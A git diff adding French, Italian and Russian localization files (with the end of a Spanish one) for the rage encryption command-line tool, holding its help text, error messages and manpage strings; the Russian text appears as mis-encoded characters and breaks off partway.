"#" y líneas vacías). + + {identity} es una ruta a una archivo con una identidad {-age} por línea + (ignorando comentarios con el prefijo "#" y líneas vacías), o a un archivo + de claves SSH. + Passphrase-encrypted {-age} identity files can be used as identity files. + Pueden proveerse múltiples idendidades, cualquiera que no sea + utilizada será ignorada. + +rage-after-help-example = + Ejemplo: + {" "}{$example_a} + {" "}{tty-pubkey}: {$example_a_output} + {" "}{$example_b} + {" "}{$example_c} + +## Keygen messages + +tty-pubkey = Clave pública +identity-file-created = creada +identity-file-pubkey = clave pública + +## Encryption messages + +autogenerated-passphrase = Utilizando una frase contraseña autogenerada: +type-passphrase = Escriba su frase contraseña +prompt-passphrase = Frase contraseña + +## General errors + +err-failed-to-open-output = Fallo al abrir output: {$err} +err-failed-to-write-output = Fallo al escribir al output: {$err} +err-mixed-encrypt-decrypt = {-flag-encrypt} no puede ser usado con {-flag-decrypt}. +err-passphrase-timed-out = Tiempo de espera para ingresar frase contraseña agotado. + +err-ux-A = Acaso {-rage} no hizo lo que esperabas? Puede que un error te sea mas útil? +err-ux-B = Contanos +# Put (len(A) - len(B) - 32) spaces here. +err-ux-C = {" "} + +## Encryption errors + +err-enc-broken-stdout = No se pudo escribir a stdout: {$err} +rec-enc-broken-stdout = Estás enviando por pipe a un programa que no está leyendo desde stdin? + +err-enc-broken-file = No se pudo escribir al archivo: {$err} + +rec-enc-missing-recipients = ¿Te olvidaste de especificar {-flag-recipient}? + +err-enc-mixed-identity-passphrase = {-flag-identity} no puede ser usado con {-flag-passphrase}. +err-enc-mixed-recipient-passphrase = {-flag-recipient} no puede ser usado con {-flag-passphrase}. +err-enc-mixed-recipients-file-passphrase = {-flag-recipients-file} no puede ser usado con {-flag-passphrase}. +err-enc-passphrase-without-file = El archivo a encriptar debe ser pasado como argumento cuando se utiliza {-flag-passphrase}. + +## Decryption errors + +rec-dec-excessive-work = Para desencriptar, intenta con {-flag-max-work-factor} {$wf} + +err-dec-armor-flag = {-flag-armor} no puede ser usado con {-flag-decrypt}. +rec-dec-armor-flag = Nota que los archivos blindados son detectados automáticamente. + +err-dec-missing-identities = No se encontraron las identidades. +rec-dec-missing-identities = ¿Te olvidaste de especificar {-flag-identity}? + +err-dec-passphrase-flag = {-flag-passphrase} no puede ser usado con {-flag-decrypt}. +rec-dec-passphrase-flag = Nota que los archivos encriptados con frases contraseñas son detectados automáticamente. + +err-dec-passphrase-without-file-win = + Este archivo requiere una frase contraseña. En Windows + los archivos a desencriptar deben ser pasados posicionalmente + como argumentos cuando se desencripta con una frase contraseña. + +err-dec-recipient-flag = {-flag-recipient} no puede ser usado con {-flag-decrypt}. +err-dec-recipients-file-flag = {-flag-recipients-file} no puede ser usado con {-flag-decrypt}. +rec-dec-recipient-flag = ¿Tenías la intención de utilizar {-flag-identity} para especificar una clave privada? + +## rage-mount strings + +-flag-mnt-types = -t/--types + +info-decrypting = Desencriptando {$filename} +info-mounting-as-fuse = Montando como sistema de archivos FUSE + +err-mnt-missing-filename = Falta el nombre de archivo. +err-mnt-missing-mountpoint = Falta el punto de montaje. +err-mnt-missing-types = Falta {-flag-mnt-types}. +err-mnt-unknown-type = Tipo de sistema de archivos desconocido "{$fs_type}" + +## Unstable features + +test-unstable = Para probar esto, compilar {-rage} con {-flag-unstable}. diff --git a/lib/rage/rage/i18n/fr/rage.ftl b/lib/rage/rage/i18n/fr/rage.ftl new file mode 100644 index 0000000..dac6ded --- /dev/null +++ b/lib/rage/rage/i18n/fr/rage.ftl @@ -0,0 +1,505 @@ +# Copyright 2020 Jack Grigg +# +# Licensed under the Apache License, Version 2.0 or the MIT license +# , at your +# option. This file may not be copied, modified, or distributed +# except according to those terms. + +### Localization for strings in the rage CLI tools + +## Terms (not to be localized) + +-age = age +-age-plugin- = age-plugin- +-rage = rage +-rage-keygen = rage-keygen +-stdin = "-" +-recipient-prefix = age1 +-identity-prefix = AGE-SECRET-KEY-1 +-armor-pem-type = AGE ENCRYPTED FILE + +-rage-mount = rage-mount + +-ssh-rsa = ssh-rsa +-ssh-ed25519 = ssh-ed25519 +-ssh-authorized-keys = authorized_keys +-dot-keys = .keys +-ssh = ssh(1) +-authorized-keys-file-format = AUTHORIZED_KEYS FILE FORMAT +-sshd = sshd(8) +-ssh-agent = ssh-agent(1) + +-example = example +-example-r = age1example1 +-example-i = AGE-PLUGIN-EXAMPLE-1 + +-yubikey = yubikey + +## CLI flags (not to be localized) + +-flag-armor = -a/--armor +-flag-decrypt = -d/--decrypt +-flag-encrypt = -e/--encrypt +-flag-identity = -i/--identity +-flag-output = -o/--output +-flag-recipient = -r/--recipient +-flag-recipients-file = -R/--recipients-file +-flag-passphrase = -p/--passphrase +-flag-plugin-name = -j +-flag-max-work-factor = --max-work-factor +-flag-unstable = --features unstable + +-flag-convert = -y + +-flag-mnt-types = -t/--types + +## Helper variables, to be localized + +# Used throughout to indicate that a flag X cannot be used with another flag Y +-cantuse = ne peut pas être utilisé avec + +## Usage + +usage-header = Utilisation + +recipient = RECIPIENT +recipients-file = PATH +identity = IDENTITY +plugin-name = PLUGIN-NAME +input = INPUT +output = OUTPUT + +args-header = Arguments + +help-arg-input = Chemin vers un fichier à lire. + +flags-header = Options + +help-flag-help = Affiche ce message d'aide et quitte. +help-flag-version = Affiche les informations de version et quitte. +help-flag-encrypt = Chiffre l'input (l'option par défaut). +help-flag-decrypt = Déchiffre l'input. +help-flag-passphrase = Chiffre avec une phrase secrète au lieu de destinataires. +help-flag-max-work-factor = Facteur d'effort maximum à autoriser pour déchiffrer avec une phrase secrète. +help-flag-armor = Chiffre au format d'encodage PEM. +help-flag-recipient = Chiffre pour le {destinataire} spécifié. Peut être répété. +help-flag-recipients-file = Chiffre pour les destinataires listés dans le fichier {recipients-file}. Peut être répété. +help-flag-identity = Utilise le fichier d'identité {identity}. Peut être répété. +help-flag-plugin-name = Utilise {-age-plugin-}{plugin-name} dans son mode par défaut en tant qu'identité. +help-flag-output = Ecrit le résultat dans le fichier situé au chemin {output}. + +rage-after-help-content = + {input} est par défaut l'entrée standard (stdin), tandis que {output} est par défaut la sortie standard (stdout). + Si {output} existe, il sera écrasé. + + {recipient} peut être: + - Une clef publique {-age}, telle que générée par {$keygen_name} ({$example_age_pubkey}). + - Une clef publique SSH ({$example_ssh_pubkey}). + + {recipients-file} est le chemin vers un fichier contenant des destinataires {-age}, un par ligne + (en ignorant les lignes vides et les commentaires préfixés par "#"). {-stdin} peut être utilisé + pour lire des destinataires depuis l'entrée standard. + + {identity} est un chemin vers un fichier avec des identités {-age}, une par ligne + (en ignorant les lignes vides et les commentaires préfixés par "#"), ou vers un ficher de clef SSH. + Les fichiers d'identité {-age} protégé par phrase secrète peuvent être utilisé comme fichier d'identité. + Plusieurs identités peuvent être fournis, et les inutilisées seront ignorées. + {-stdin} peut être utilisé pour lire des identités depuis l'entrée standard. + +rage-after-help-example = + Exemple: + {" "}{$example_a} + {" "}{tty-pubkey}: {$example_a_output} + {" "}{$example_b} + {" "}{$example_c} + +keygen-help-flag-output = {help-flag-output} Par défaut, la sortie standard. +keygen-help-flag-convert = Convertit un fichier d'identité en un fichier de destinataires. + +## Formatting + +warning-msg = Attention: {$warning} + +## Keygen messages + +tty-pubkey = Clef publique +identity-file-created = créée +identity-file-pubkey = clef publique + +## Encryption messages + +autogenerated-passphrase = Utilisé une phrase secrète auto-générée: +type-passphrase = Ecrivez la phrase secrète +prompt-passphrase = Phrase secrète + +warn-double-encrypting = Chiffrement d'un fichier déjà chiffré + +## General errors + +err-failed-to-open-input = Echec d'ouverture de l'entrée: {$err} +err-failed-to-open-output = Echec d'ouverture de la sortie: {$err} +err-failed-to-read-input = Echec de lecture de l'entrée: {$err} +err-failed-to-write-output = Echec d'écriture vers la sortie: {$err} +err-identity-ambiguous = {-flag-identity} nécessite {-flag-encrypt} ou {-flag-decrypt}. +err-mixed-encrypt-decrypt = {-flag-encrypt} {-cantuse} {-flag-decrypt}. +err-passphrase-timed-out = Délai dépassé lors de l'attente d'entrée de la phrase secrète. +err-same-input-and-output = L'entrée et la sortie sont le même fichier {$filename}'. + +err-ux-A = Est-ce que {-rage} n'a pas fait ce que vous escomptiez ? Est-ce qu'une erreur serait plus utile ? +err-ux-B = Dites-le nous +# Put (len(A) - len(B) - 32) spaces here. +err-ux-C = {" "} + +## Encryption errors + +err-enc-broken-stdout = N'a pas pu écrire sur stdout: {$err} +rec-enc-broken-stdout = Etes-vous en train de piper vers programme qui ne lit pas depuis stdin ? + +err-enc-broken-file = N'a pas pu écrire dans le fichier: {$err} + +rec-enc-missing-recipients = Avez-vous oublié de spécifier {-flag-recipient} ? + +err-enc-mixed-identity-passphrase = {-flag-identity} {-cantuse} {-flag-passphrase}. +err-enc-mixed-recipient-passphrase = {-flag-recipient} {-cantuse} {-flag-passphrase}. +err-enc-mixed-recipients-file-passphrase = {-flag-recipients-file} {-cantuse} {-flag-passphrase}. +err-enc-passphrase-without-file = Un fichier à chiffrer doit être passé en argument lors de l'utilisation de {-flag-passphrase}. + +err-enc-plugin-name-flag = {-flag-plugin-name} {-cantuse} {-flag-encrypt}. + +## Decryption errors + +err-detected-powershell-corruption = Il semblerait que ce fichier ait été corrompu par une redirection PowerShell. +rec-detected-powershell-corruption = Essayez d'utiliser {-flag-output} ou {-flag-armor} pour chiffrer des fichiers dans PowerShell. + +rec-dec-excessive-work = Pour déchiffrer, réessayez avec {-flag-max-work-factor} {$wf} + +err-dec-armor-flag = {-flag-armor} {-cantuse} {-flag-decrypt}. +rec-dec-armor-flag = Note that armored files are detected automatically. + +err-dec-missing-identities = Identités manquantes. +rec-dec-missing-identities = Avez-vous oublié de spécifier {-flag-identity} ? +rec-dec-missing-identities-stdin = Avez-vous oublié de fournir une identité via l'entrée standard ? + +err-dec-mixed-identity-passphrase = {-flag-identity} {-cantuse} des fichiers chiffrés avec une phrase secrète. + +err-mixed-identity-and-plugin-name = {-flag-identity} {-cantuse} {-flag-plugin-name}. + +err-dec-passphrase-flag = {-flag-passphrase} {-cantuse} {-flag-decrypt}. +rec-dec-passphrase-flag = Notez que les fichiers chiffrés avec une phrase secrète sont détectés automatiquement. + +err-dec-passphrase-without-file-win = + Ce fichier requière une phrase secrète, et, sur Windows, + le fichier à déchiffrer doit être passé en tant qu'argument + positionnel pour déchiffrer avec une phrase secrète. + +err-dec-recipient-flag = {-flag-recipient} {-cantuse} {-flag-decrypt}. +err-dec-recipients-file-flag = {-flag-recipients-file} {-cantuse} {-flag-decrypt}. +rec-dec-recipient-flag = Vouliez-vous peut-être utiliser {-flag-identity} pour spécifier une clef privée ? + +## rage-mount strings + +mnt-filename = FILENAME +mnt-mountpoint = MOUNTPOINT +mnt-types = TYPES + +help-arg-mnt-filename = Le système de fichier chiffré à monter. +help-arg-mnt-mountpoint = Le dossier vers lequel monter le système de fichier. +help-arg-mnt-types = Indique le type de système de fichier (parmis {$types}). + +info-decrypting = Déchiffrement de {$filename} +info-mounting-as-fuse = Montage en tant que système de fichier FUSE + +err-mnt-missing-filename = Il manque un nom de fichier. +err-mnt-missing-mountpoint = Il manque un point de montage. +err-mnt-missing-types = Il manque le fanion {-flag-mnt-types}. +err-mnt-unknown-type = Type de système de fichier inconnu "{$fs_type}" + +## Unstable features + +test-unstable = Pour tester cela, il faut compiler {-rage} avec {-flag-unstable}. + +## rage manpage + +recipients = RECIPIENTS +identities = IDENTITIES + +man-rage-about = Un outil de chiffrement simple, sécurisé et moderne. + +man-rage-description = + {-rage} encrypts or decrypts {input} to {output}. The {input} argument is + optional and defaults to standard input. Only a single {input} file may be + specified. If {-flag-output} is not specified, {output} defaults to standard + output. + + If {-flag-passphrase} is specified, the file is encrypted with a passphrase + requested interactively. Otherwise, it's encrypted to one or more + {recipients} specified with {-flag-recipient} or + {-flag-recipients-file}. Every recipient can decrypt the file. + + In {-flag-decrypt} mode, passphrase-encrypted files are detected automatically + and the passphrase is requested interactively. Otherwise, one or more + {identities} specified with {-flag-identity} are used to decrypt the file. + + {-age} encrypted files are binary and not malleable, with around 200 bytes of + overhead per recipient, plus 16 bytes every 64KiB of plaintext. + +man-rage-flag-output = + Write encrypted or decrypted file to {output} instead of standard output. + If {output} already exists it will be overwritten. + + If encrypting without {-flag-armor}, {-rage} will refuse to output binary to a + TTY. This can be forced by specifying {-stdin} as {output}. + +man-rage-encryption-options = Encryption options + +man-rage-flag-encrypt = + Encrypt {input} to {output}. This is the default. + +man-rage-flag-recipient = + Encrypt to the explicitly specified {recipient}. See the + {man-rage-recipients-and-identities-heading} section for possible recipient + formats. + + This option can be repeated and combined with other recipient flags, + and the file can be decrypted by all provided recipients independently. + +man-rage-flag-recipients-file = + Encrypt to the {recipients} listed in the file at {recipients-file}, one per + line. Empty lines and lines starting with "#" are ignored as comments. + + If {recipients-file} is {-stdin}, the recipients are read from standard + input. In this case, the {input} argument must be specified. + + This option can be repeated and combined with other recipient flags, + and the file can be decrypted by all provided recipients independently. + +man-rage-flag-passphrase = + Encrypt with a passphrase, requested interactively from the terminal. + {-rage} will offer to auto-generate a secure passphrase. + + Cette option ne peut pas être utilisée avec d'autre fanion (flag). + +man-rage-flag-armor = + Encrypt to an ASCII-only "armored" encoding. + + {-age} armor is a strict version of PEM with type "{-armor-pem-type}", + canonical "strict" Base64, no headers, and no support for leading and + trailing extra data. + + Decryption transparently detects and decodes ASCII armoring. + +man-rage-flag-identity-encrypt = + Encrypt to the {recipients} corresponding to the {identities} listed in the + file at {identity}. This is equivalent to converting the file at {identity} + to a recipients file with '{-rage-keygen} {-flag-convert}' and then passing that to + {-flag-recipients-file}. + + For the format of {identity}, see the definition of {-flag-identity} in the + {man-rage-decryption-options} section. + + {-flag-encrypt} must be explicitly specified when using {-flag-identity} + in encryption mode to avoid confusion. + +man-rage-flag-plugin-encrypt = + Encrypt using the data-less plugin {plugin-name}. + + This is equivalent to using {-flag-identity} with a file that contains a + single plugin {identity} that encodes no plugin-specific data. + + {-flag-encrypt} must be explicitly specified when using {-flag-plugin-name} + in encryption mode to avoid confusion. + +man-rage-decryption-options = Decryption options + +man-rage-flag-decrypt = + Decrypt {input} to {output}. + + If {input} is passphrase encrypted, it will be automatically detected + and the passphrase will be requested interactively. Otherwise, the + {identities} specified with {-flag-identity} are used. + + ASCII armoring is transparently detected and decoded. + +man-rage-flag-identity-decrypt = + Decrypt using the {identities} at {identity}. + + {identity} may be one of the following: + + a. A file listing {identities} one per line. Empty lines and lines starting + with "#" are ignored as comments. + + b. A passphrase encrypted age file, containing {identities} one per + line like above. The passphrase is requested interactively. Note that + passphrase-protected identity files are not necessary for most use cases, + where access to the encrypted identity file implies access to the whole + system. + + c. An SSH private key file, in PKCS#1, PKCS#8, or OpenSSH format. + If the private key is password-protected, the password is requested + interactively only if the SSH identity matches the file. See the + {man-rage-ssh-keys-heading} section for more information, including + supported key types. + + d. {-stdin}, causing one of the options above to be read from standard input. + In this case, the {input} argument must be specified. + + This option can be repeated. Identities are tried in the order in which are + provided, and the first one matching one of the file's recipients is used. + Unused identities are ignored, but it is an error if the {input} file is + passphrase-encrypted and {-flag-identity} is specified. + +man-rage-flag-plugin-decrypt = + Decrypt using the data-less plugin {plugin-name}. + + This is equivalent to using {-flag-identity} with a file that contains a + single plugin {identity} that encodes no plugin-specific data. + +man-rage-recipients-and-identities-heading = RECIPIENTS AND IDENTITIES +man-rage-recipients-and-identities = + {recipients} are public values, like a public key, that a file can be encrypted + to. {identities} are private values, like a private key, that allow decrypting + a file encrypted to the corresponding {recipient}. + +man-rage-native-x25519-keys-heading = Native X25519 keys +man-rage-native-x25519-keys = + Native {-age} key pairs are generated with {-rage-keygen}(1), and provide small + encodings and strong encryption based on X25519. They are the recommended + recipient type for most applications. + + A {recipient} encoding begins with "{-recipient-prefix}" and looks like the + following: + + {" "}{$example_age_recipient} + + An {identity} encoding begins with "{-identity-prefix}" and looks like the + following: + + {" "}{$example_age_identity} + + An encrypted file can't be linked to the native recipient it's encrypted to + without access to the corresponding identity. + +man-rage-ssh-keys-heading = SSH keys +man-rage-ssh-keys = + As a convenience feature, {-rage} also supports encrypting to RSA or Ed25519 + {-ssh} keys. RSA keys must be at least 2048 bits. This feature employs more + complex cryptography, and should only be used when a native key is not available + for the recipient. Note that SSH keys might not be protected long-term by the + recipient, since they are revokable when used only for authentication. + + A {recipient} encoding is an SSH public key in "{-ssh-authorized-keys}" format + (see the "{-authorized-keys-file-format}" section of {-sshd}), starting with + "{-ssh-rsa}" or "{-ssh-ed25519}", like the following: + + {" "}{$example_ssh_rsa} + {" "}{$example_ssh_ed25519} + + The comment at the end of the line, if present, is ignored. + + In recipient files passed to {-flag-recipients-file}, unsupported but valid + SSH public keys are ignored with a warning, to facilitate using + "{-ssh-authorized-keys}" or GitHub "{-dot-keys}" files. (See {man-examples-heading}.) + + An {identity} is an SSH private key _file_ passed individually to + {-flag-identity}. Note that keys held on hardware tokens such as YubiKeys + or accessed via {-ssh-agent} are not supported. + + An encrypted file _can_ be linked to the SSH public key it was encrypted to. + This is so that {-rage} can identify the correct SSH private key before + requesting its password, if any. + +man-rage-plugins-heading = Plugins +man-rage-plugins = + {-rage} can be extended through plugins. A plugin is only loaded if a corresponding + {recipient} or {identity} is specified. (Simply decrypting a file encrypted with + a plugin will not cause it to load, for security reasons among others.) + + A {recipient} for a plugin named "{-example}" starts with "{-example-r}", while an + {identity} starts with "{-example-i}". They both encode arbitrary plugin-specific + data, and are generated by the plugin. + + When either is specified, {-rage} searches for {-age-plugin-}{-example} in the PATH + and executes it to perform the file header encryption or decryption. The plugin + may request input from the user through {-rage} to complete the operation. + + Plugins can be freely mixed with other plugins or natively supported keys. + + A plugin is not bound to only encrypt or decrypt files meant for or generated by + the plugin. For example, a plugin can be used to decrypt files encrypted to a + native X25519 {recipient} or even with a passphrase. Similarly, a plugin can + encrypt a file such that it can be decrypted without the use of any plugin. + + Plugins for which the {identity}/{recipient} distinction doesn't make sense + (such as a symmetric encryption plugin) may generate only an {identity} and + instruct the user to perform encryption with the {-flag-encrypt} and + {-flag-identity} flags. Plugins for which the concept of separate identities + doesn't make sense (such as a password-encryption plugin) may instruct the user + to use the {-flag-plugin-name} flag. + +man-examples-heading = EXAMPLES + +man-rage-example-single = Generate a new identity, encrypt data, and decrypt +man-rage-example-enc-multiple = Encrypt {$input} to multiple recipients and output to {$output} +man-rage-example-enc-list = Encrypt to a list of recipients +man-rage-example-password = Encrypt and decrypt a file using a passphrase +man-rage-example-identity-passphrase = Encrypt and decrypt with a passphrase-protected identity file +man-rage-example-ssh = Encrypt and decrypt with an SSH public key +man-rage-example-yubikey = Encrypt and decrypt with {-age-plugin-}{-yubikey} +man-rage-example-yubikey-setup = Run interactive setup, generate identity file and obtain recipient. +man-rage-example-enc-github = Encrypt to the SSH keys of a GitHub user + +man-see-also-heading = SEE ALSO + +## rage-keygen manpage + +man-keygen-about = Generate age-compatible encryption key pairs + +man-keygen-description = + {-rage-keygen} generates a new native {-age} key pair, and outputs the identity to + standard output or to the {output} file. The output includes the public key and + the current time as comments. + + If the output is not going to a terminal, {-rage-keygen} prints the public key to + standard error. + +man-keygen-flag-output = + Write the identity to {output} instead of standard output. + + If {output} already exists, it is not overwritten. + +man-keygen-flag-convert = + Read an identity file from {input} or from standard input and output the + corresponding recipient(s), one per line, with no comments. + +man-keygen-example-stdout = Generate a new identity +man-keygen-example-file = Write a new identity to "{$filename}" +man-keygen-example-convert = Convert an identity to a recipient + +## rage-mount manpage + +man-mount-about = Mount an {-age} encrypted filesystem + +man-mount-description = + {-rage-mount} decrypts the {-age} encrypted filesystem at {mnt-filename} on the + fly, and mounts it as a directory on the local filesystem at {mnt-mountpoint}. + + Passphrase-encrypted files are detected automatically and the passphrase is + requested interactively. Otherwise, one or more {identities} specified with + {-flag-identity} are used to decrypt the file. + + The previous contents (if any) and owner and mode of {mnt-mountpoint} become + invisible, and as long as this filesystem remains mounted, the pathname + {mnt-mountpoint} refers to the root of the filesystem on {mnt-filename}. + +man-mount-flag-types = + Set the filesystem type. The following types are currently supported: {$types}. + + This option is required. {-rage-mount} does not attempt to guess the filesystem + format. + + In theory, any efficiently-seekable filesystem format can be supported. At + present, {-rage-mount} only supports seekable archive formats. + +man-mount-example-identity = Mounting an archive encrypted to a recipient +man-mount-example-passphrase = Mounting an archive encrypted with a passphrase diff --git a/lib/rage/rage/i18n/it/rage.ftl b/lib/rage/rage/i18n/it/rage.ftl new file mode 100644 index 0000000..d88e154 --- /dev/null +++ b/lib/rage/rage/i18n/it/rage.ftl @@ -0,0 +1,214 @@ +# Copyright 2020 Jack Grigg +# +# Licensed under the Apache License, Version 2.0 or the MIT license +# , at your +# option. This file may not be copied, modified, or distributed +# except according to those terms. + +### Localization for strings in the rage CLI tools + +## Terms (not to be localized) + +-age = age +-age-plugin- = age-plugin- +-rage = rage +-rage-keygen = rage-keygen +-stdin = "-" +-recipient-prefix = age1 +-identity-prefix = AGE-SECRET-KEY-1 +-armor-pem-type = AGE ENCRYPTED FILE + +-rage-mount = rage-mount + +-ssh-rsa = ssh-rsa +-ssh-ed25519 = ssh-ed25519 +-ssh-authorized-keys = authorized_keys +-dot-keys = .keys +-ssh = ssh(1) +-authorized-keys-file-format = AUTHORIZED_KEYS FILE FORMAT +-sshd = sshd(8) +-ssh-agent = ssh-agent(1) + +-example = example +-example-r = age1example1 +-example-i = AGE-PLUGIN-EXAMPLE-1 + +-yubikey = yubikey + +## CLI flags (not to be localized) + +-flag-armor = -a/--armor +-flag-decrypt = -d/--decrypt +-flag-encrypt = -e/--encrypt +-flag-identity = -i/--identity +-flag-output = -o/--output +-flag-recipient = -r/--recipient +-flag-recipients-file = -R/--recipients-file +-flag-passphrase = -p/--passphrase +-flag-plugin-name = -j +-flag-max-work-factor = --max-work-factor +-flag-unstable = --features unstable + +-flag-convert = -y + +-flag-mnt-types = -t/--types + +## Usage + +usage-header = Utilizzo + +recipient = DESTINATARIO +recipients-file = PERCORSO +identity = IDENTITÀ +plugin-name = NOME-PLUGIN +input = INPUT +output = OUTPUT + +args-header = Argomenti + +help-arg-input = Posizione di un file di input. + +flags-header = Opzioni + +help-flag-help = Presenta questo messaggio e esci. +help-flag-version = Presenta la versione e esci. +help-flag-encrypt = Cifra l'input (il default). +help-flag-decrypt = Decifra l'input. +help-flag-passphrase = Cifra con una passphrase invece che con i destinatari. +help-flag-max-work-factor = Fattore di complessità massima per decifrare passphrase. +help-flag-armor = Codifica l'output della cifratura in PEM. +help-flag-recipient = Cifra al {recipient} specificato. Può essere ripetuto. +help-flag-recipients-file = Cifra ai destinatari elencati in {recipients-file}. Può essere ripetuto. +help-flag-identity = Usa il file {identity}. Può essere ripetuto. +help-flag-plugin-name = Usa {-age-plugin-}{plugin-name} in modalità di default come identità. +help-flag-output = Scrivi l'output al file {output}. + +rage-after-help-content = + {input} ha come valore predefinito lo standard input, e {output} ha come + valore predefinito lo standard output. + + {recipient} può essere: + - Una chiave pubblica {-age}, come generata da {$keygen_name} ({$example_age_pubkey}). + - Una chiave pubblica SSH ({$example_ssh_pubkey}). + + {recipients-file} è il percorso ad un file contenente dei destinatari {-age}, + uno per riga (ignorando i commenti che iniziano con "#" e le righe vuote). + + {identity} è il percorso ad un file contenente identità {-age}, una per + riga (ignorando i commenti che iniziano con "#" e le righe vuote), o ad un + file contenente una chiave SSH. + I file di identità possono essere cifrati con {-age} e una passphrase. + Possono essere fornite più identità, quelle inutilizzate verranno ignorate. + +rage-after-help-example = + Esempio: + {" "}{$example_a} + {" "}{tty-pubkey}: {$example_a_output} + {" "}{$example_b} + {" "}{$example_c} + +keygen-help-flag-output = {help-flag-output} Standard output di default. +keygen-help-flag-convert = Converti un file di identità in un file di destinatari. + +## Formatting + +warning-msg = Attenzione: {$warning} + +## Keygen messages + +tty-pubkey = Chiave pubblica +identity-file-created = creato +identity-file-pubkey = chiave pubblica + +## Encryption messages + +autogenerated-passphrase = Utilizzo di una passphrase generata automaticamente: +type-passphrase = Inserisci la passphrase +prompt-passphrase = Passphrase + +warn-double-encrypting = Sta venendo cifrato un file già cifrato + +## General errors + +err-failed-to-open-input = Impossibile aprire l'input: {$err} +err-failed-to-open-output = Impossibile aprire l'output: {$err} +err-failed-to-read-input = Impossibile leggere dall'input: {$err} +err-failed-to-write-output = Impossibile scrivere sull'output: {$err} +err-identity-ambiguous = {-flag-identity} richiede esplicitamente {-flag-encrypt} o {-flag-decrypt}. +err-mixed-encrypt-decrypt = {-flag-encrypt} non può essere usato assieme a {-flag-decrypt}. +err-passphrase-timed-out = Tempo di attesa per l'inserimento della passphrase scaduto. +err-same-input-and-output = L'input e l'output sono lo stesso file: '{$filename}'. + +err-ux-A = Qualcosa è andato storto? Un errore potrebbe essere più chiaro? +err-ux-B = Faccelo sapere +# Put (len(A) - len(B) - 32) spaces here. +err-ux-C = {" "} + +## Encryption errors + +err-enc-broken-stdout = Impossibile scrivere sullo standard output: {$err} +rec-enc-broken-stdout = Stai usando una pipe verso un programma che non sta leggendo dallo standard input? + +err-enc-broken-file = Impossibile scrivere sul file: {$err} + +rec-enc-missing-recipients = Hai dimenticato di specificare {-flag-recipient}? + +err-enc-mixed-identity-passphrase = {-flag-identity} non può essere usato assieme a {-flag-passphrase}. +err-enc-mixed-recipient-passphrase = {-flag-recipient} non può essere usato assieme a {-flag-passphrase}. +err-enc-mixed-recipients-file-passphrase = {-flag-recipients-file} non può essere usato assieme a {-flag-passphrase}. +err-enc-passphrase-without-file = Il file da cifrare deve essere passato come argomento quando si usa {-flag-passphrase}. + +err-enc-plugin-name-flag = {-flag-plugin-name} non può essere usato assieme a {-flag-encrypt}. + +## Decryption errors + +err-detected-powershell-corruption = Sembra che questo file sia stato corrotto dalla redirezione in PowerShell. +rec-detected-powershell-corruption = Usa {-flag-output} o {-flag-armor} per cifrare file in PowerShell. + +rec-dec-excessive-work = Per decifrare, riprova usando {-flag-max-work-factor} {$wf} + +err-dec-armor-flag = {-flag-armor} non può essere usato assieme a {-flag-decrypt}. +rec-dec-armor-flag = Nota che i file armored vengono rilevati automaticamente. + +err-dec-missing-identities = Identità mancanti. +rec-dec-missing-identities = Hai dimenticato di specificare {-flag-identity}? +rec-dec-missing-identities-stdin = Hai dimenticato di passare l'identità tramite standard input? + +err-dec-mixed-identity-passphrase = {-flag-identity} non può essere usato con file cifrati con una passphrase. + +err-mixed-identity-and-plugin-name = {-flag-identity} non può essere usato assieme a {-flag-plugin-name}. + +err-dec-passphrase-flag = {-flag-passphrase} non può essere usato assieme a {-flag-decrypt}. +rec-dec-passphrase-flag = Nota che i file cifrati con una passphrase vengono rilevati automaticamente. + +err-dec-passphrase-without-file-win = + Questo file richiede una passphrase, e su Windows il + file da decifrare deve essere passato come argomento + posizionale quando si decifra con la passphrase. + +err-dec-recipient-flag = {-flag-recipient} non può essere usato assieme a {-flag-decrypt}. +err-dec-recipients-file-flag = {-flag-recipients-file} non può essere usato assieme a {-flag-decrypt}. +rec-dec-recipient-flag = Intendevi usare {-flag-identity} per specificare una chiave privata? + +## rage-mount strings + +mnt-filename = PERCORSO +mnt-mountpoint = MOUNTPOINT +mnt-types = TIPI + +help-arg-mnt-filename = Il filesystem cifrato da montare. +help-arg-mnt-mountpoint = La cartella su cui montare il filesystem. +help-arg-mnt-types = Il tipo del filesystem (uno di {$types}). + +info-decrypting = Decifrando {$filename} +info-mounting-as-fuse = Montando come filesystem FUSE + +err-mnt-missing-filename = Nome del file mancante. +err-mnt-missing-mountpoint = Punto di montaggio mancante. +err-mnt-missing-types = {-flag-mnt-types} mancante. +err-mnt-unknown-type = Tipo di filesystem sconosciuto "{$fs_type}" + +## Unstable features + +test-unstable = Per testare questo esegui la build di {-rage} con {-flag-unstable}. diff --git a/lib/rage/rage/i18n/ru/rage.ftl b/lib/rage/rage/i18n/ru/rage.ftl new file mode 100644 index 0000000..89b3153 --- /dev/null +++ b/lib/rage/rage/i18n/ru/rage.ftl @@ -0,0 +1,506 @@ +# Copyright 2020 Jack Grigg +# +# Licensed under the Apache License, Version 2.0 or the MIT license +# , at your +# option. This file may not be copied, modified, or distributed +# except according to those terms. + +### Localization for strings in the rage CLI tools + +## Terms (not to be localized) + +-age = age +-age-plugin- = age-plugin- +-rage = rage +-rage-keygen = rage-keygen +-stdin = "-" +-recipient-prefix = age1 +-identity-prefix = AGE-SECRET-KEY-1 +-armor-pem-type = AGE ENCRYPTED FILE + +-rage-mount = rage-mount + +-ssh-rsa = ssh-rsa +-ssh-ed25519 = ssh-ed25519 +-ssh-authorized-keys = authorized_keys +-dot-keys = .keys +-ssh = ssh(1) +-authorized-keys-file-format = AUTHORIZED_KEYS FILE FORMAT +-sshd = sshd(8) +-ssh-agent = ssh-agent(1) + +-example = example +-example-r = age1example1 +-example-i = AGE-PLUGIN-EXAMPLE-1 + +-yubikey = yubikey + +## CLI flags (not to be localized) + +-flag-armor = -a/--armor +-flag-decrypt = -d/--decrypt +-flag-encrypt = -e/--encrypt +-flag-identity = -i/--identity +-flag-output = -o/--output +-flag-recipient = -r/--recipient +-flag-recipients-file = -R/--recipients-file +-flag-passphrase = -p/--passphrase +-flag-plugin-name = -j +-flag-max-work-factor = --max-work-factor +-flag-unstable = --features unstable + +-flag-convert = -y + +-flag-mnt-types = -t/--types + +## Usage + +usage-header = ИСПОЛЬЗОВÐÐИЕ + +recipient = ПОЛУЧÐТЕЛЬ +recipients-file = ПУТЬ +identity = ИДЕÐТИФИКÐТОР +plugin-name = ÐÐЗВÐÐИЕ-ПЛÐГИÐÐ +input = ВХОД +output = ВЫХОД + +args-header = ÐРГУМЕÐТЫ + +help-arg-input = Путь к файлу Ð´Ð»Ñ Ñ‡Ñ‚ÐµÐ½Ð¸Ñ. + +flags-header = Опции + +help-flag-help = Печатать Ñто 